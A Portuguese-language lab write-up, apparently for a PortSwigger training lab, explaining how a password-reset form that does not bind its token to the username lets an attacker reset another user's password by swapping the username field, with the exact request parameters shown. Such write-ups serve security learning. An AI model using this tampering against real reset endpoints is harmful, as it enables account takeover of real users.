> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/authentication/flawed-password-reset-logic.md).

# Lógica Defeituosa na Redefinição de Senha

### Lógica quebrada de redefinição de senha

O laboratório apresenta uma vulnerabilidade no mecanismo de redefinição de senha. O objetivo é redefinir a senha de **Carlos** e então acessar sua página Minha conta. / Identificador fornecido:

* **wiener:peter**
* Nome da vítima: **carlos**

### Análise e passos

#### 1. Função Esqueci a senha

A aplicação oferece um recurso de recuperação por meio de Esqueci minha senha.

<figure><img src="/files/e3aa93a64fdd839698903686bb5bf896d200ab0a" alt="" width="436"><figcaption></figcaption></figure>

A partir desta seção é possível alterar o endereço de e-mail associado à conta

<figure><img src="/files/505431b24fd5f513f8dd11e7b1dd7671ce967402" alt="" width="563"><figcaption></figcaption></figure>

#### 2. Recebimento do e-mail de redefinição

<figure><img src="/files/bde7aecc05816fa2196c2feb06cf2d217b22bd9e" alt=""><figcaption></figcaption></figure>

Assim que o e-mail é alterado, é enviada uma mensagem contendo um link de redefinição. / O e-mail inclui um **token** na URL:

```http
Enviado:     2025-12-09 19:42:17 +0000
De:     "No reply" <no-reply@0ae200710383c04f868b0866005e0000.web-security-academy.net>
Para:       wiener@exploit-0a46000003d9c0a086ee072901710023.exploit-server.net
Assunto:  Recuperação de conta

Olá!

Por favor, siga o link abaixo para redefinir sua senha.

https://0ae200710383c04f868b0866005e0000.web-security-academy.net/forgot-password?temp-forgot-password-token=nec3070jgtmwcvnxt5b0ipmdh9746umj

Obrigado,
Equipe de suporte
```

#### 3. Envio do formulário

Ao acessar este link, a aplicação solicita a inserção de uma nova senha. / Os parâmetros enviados são semelhantes a:

```bash
temp-forgot-password-token=nec3070jgtmwcvnxt5b0ipmdh9746umj
username=wiener
new-password-1=test
new-password-2=test
```

<figure><img src="/files/5b72ce45d6e344fcaeebe392cf8ea50bb1b8b6ac" alt=""><figcaption></figcaption></figure>

#### 4. Exploração da lógica defeituosa

O servidor não verifica **não** se o token realmente corresponde ao usuário mencionado na consulta. / Basta substituir o campo **username=wiener** por **username=carlos**:

```bash
temp-forgot-password-token=nec3070jgtmwcvnxt5b0ipmdh9746umj
username=carlos
new-password-1=test
new-password-2=test
```

A aplicação aceita a solicitação, o que permite definir uma nova senha para Carlos.

<figure><img src="/files/6b4bb7d5f77ac028d15fa06801a3440cd683690b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/authentication/flawed-password-reset-logic.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
